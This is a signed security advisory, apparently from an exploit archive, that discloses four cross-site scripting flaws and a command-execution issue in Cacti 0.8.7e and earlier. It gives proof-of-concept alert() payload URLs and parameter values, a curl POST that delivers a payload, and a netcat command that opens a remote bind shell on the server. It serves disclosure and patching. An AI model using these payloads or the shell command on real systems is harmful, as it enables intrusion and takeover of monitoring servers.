what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cacti 0.8.7e Cross Site Scripting

Cacti 0.8.7e Cross Site Scripting
Posted Nov 27, 2009
Authored by Moritz Naumann

Cacti versions 0.8.7e and below suffer from cross site scripting and privilege escalation vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2009-4032
SHA-256 | 46b2f0621a038c9d1cf8f5e9339d33346bff4eee0f4af05ef47b5f6b44a3746a

Cacti 0.8.7e Cross Site Scripting

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Cacti 0.8.7e and earlier versions are affected by multiple security
issues. Issues 1-4 are cross site scripting issues, issue 5 is a
priviledge escalation issue.




1. XSS 1

A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '1' to be displayed:

http://CACTIHOST/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

This vulnerability was tested with Firefox 3.0.6.

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



2. XSS 2

The following curl invocation will generate a HTTP POST request
against

http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true

with an 'application/x-www-form-urlencoded' content type HTTP body part
containing
date1=%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cx+y%3D%27'
Curl will write the resulting output to a file named poc.html.

> curl -d 'date1=%27%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E%3Cx+y%3D%27' 'http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true' > poc.html

When this file is loaded and rendered by a web browser with Javascript
support, this will cause a dialog box saying '2' to be displayed.

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



3. XSS 3

If an attacker or the victim has permission to modify the graph
display settings via graph_settings.php, the attacker is able to
persistently inject javascript code via the 'page_refresh' and
'default_dual_pane_width' parameters.

Setting 'page_refresh' to the following value will, on any consecutive
visitors' web browser with Javascript support, cause a dialog box saying
'3' to be displayed:
300'><script>alert(3)</script><x y='

Setting 'default_dual_pane_width' to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '3' to be displayed:
200"><script>alert(3)</script><x y="

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



4. XSS 4

A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '4' to be displayed:

> >
http://CACTIHOST/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E

This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').

Alternatively, a similar injection can be achieved, if an attacker or
his victim has permission to modify the graph display settings via
graph_settings.php. If so, the attacker is able to persistently inject
javascript code via the 'title_size', 'legend_size', 'axis_size' and
'unit_size' parameters.

Setting any of these parameters to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '4' to be displayed:
8</pre><script>alert(4)</script><pre>

This vulnerability was tested with Firefox 3.0.6

The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch



5. Priviledge escalation

Finally, due to the permissive way the web interface allows Cacti
to be configured, a cacti administrator is also able to execute
arbitrary commands on the system as the user the Cacti polling mechanism
runs as (usually a non-priviledged user).

For example, it is possible to successfully spawn (and connect to) a
backdoor/remote shell on the Cacti system by changing the "Data Input
Method" for "Linux - Get Memory Usage". Setting "Input String" to
nohup nc -l -p 6666 -n -e /bin/sh &
would spawn a remotely accessible shell whenever this handler was called
(every couple of minutes by default on my Debian test system).

Cacti developers say:
> There is no effective way to fix the data input method without breaking Cacti. It will be reviewed for the release of 0.8.8.



The XSS issues are currently tracked as CVE-2009-4032 (additional CVEs
may or may not be assigned), issue 5 has not been tracked so far (to my
knowledge).
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEAREKAAYFAksOFWYACgkQn6GkvSd/Bgwb0QCfZu7dWpBE7FSeds0jeFa1NmzN
q44An3dl2cZgU/LRpZSjYpuqbo2Ukzbe
=yeNz
-----END PGP SIGNATURE-----

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close